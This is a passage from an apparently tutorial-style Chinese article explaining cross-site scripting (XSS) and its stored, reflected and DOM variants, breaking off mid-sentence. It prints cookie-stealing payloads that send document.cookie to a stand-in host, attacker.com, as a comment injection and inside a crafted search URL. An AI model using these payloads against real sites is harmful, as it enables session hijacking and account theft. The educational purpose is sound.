XSS:网页里的"幽灵脚本"

想象一下,你打开了一个看起来很正常的网站,页面上的文字、图片都和你平时看到的一样。但就在你浏览的这几秒钟里,一段你完全看不见的恶意代码已经在后台悄悄运行了——它读走了你的 Cookie,把你的登录凭证发到了攻击者的服务器上。

这就是 XSS(Cross-Site Scripting,跨站脚本攻击),中文常译为"跨站脚本"。攻击者把一段恶意的 JavaScript 代码注入到目标网站的页面中,当其他用户访问这个页面时,代码就在他们的浏览器里自动执行。它不攻击服务器,而是直接攻击网站的访问者

从"夹带私货"说起:XSS 是怎么发生的

XSS 的根源和 SQL 注入如出一辙:开发人员把用户输入的内容,未经处理就输出到了 HTML 页面上。

举个例子,一个网站有留言板功能,用户提交的评论会直接显示在页面上。如果攻击者在评论框里输入的是这样的内容:

1
<script>alert('XSS')</script>

如果网站没有对这条评论做任何过滤或转义,那么所有访问这个留言板页面的用户,浏览器都会弹出一个写着"XSS"的提示框——这只是最无害的演示。换成下面的代码,事情就完全不一样了:

1
2
3
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

这段代码会在页面加载时,把当前用户的 Cookie 发送到攻击者指定的服务器上。

攻击者不需要破解密码,不需要暴力撞库——用户自己浏览器里的 Cookie,被"合法"地送到了攻击者手里。有了这些 Cookie,攻击者就能直接以该用户的身份登录网站,不需要账号密码。

三种 XSS:存储型、反射型、DOM 型

根据恶意脚本的"落脚点"和触发方式,XSS 可以分为三类。

1. 存储型 XSS(Stored XSS)——最危险

恶意脚本被永久保存在目标网站的服务器上(比如数据库、文件系统)。每次有人访问包含这段内容的页面时,脚本都会自动执行。

典型场景:博客评论区、论坛帖子、商品评价、用户个人简介。

攻击者发表一篇包含恶意脚本的评论,网站把它存进了数据库。此后每一个打开这篇文章的用户,都会在不知不觉中执行这段脚本。一次注入,影响所有访问者,这是三种 XSS 中危害最大的一种。

2. 反射型 XSS(Reflected XSS)——最普遍

恶意脚本不存储在服务器上,而是作为 URL 参数的一部分,被服务器原样反射(返回)到页面中。攻击者通常需要把恶意链接发给受害者,诱骗受害者点击。

典型场景:搜索框、错误页面、URL 参数直接回显。

一个正常的搜索 URL:

1
https://example.com/search?q=手机

攻击者构造的恶意 URL:

1
https://example.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

网站把搜索词原样输出到页面上:“您搜索的关键词是: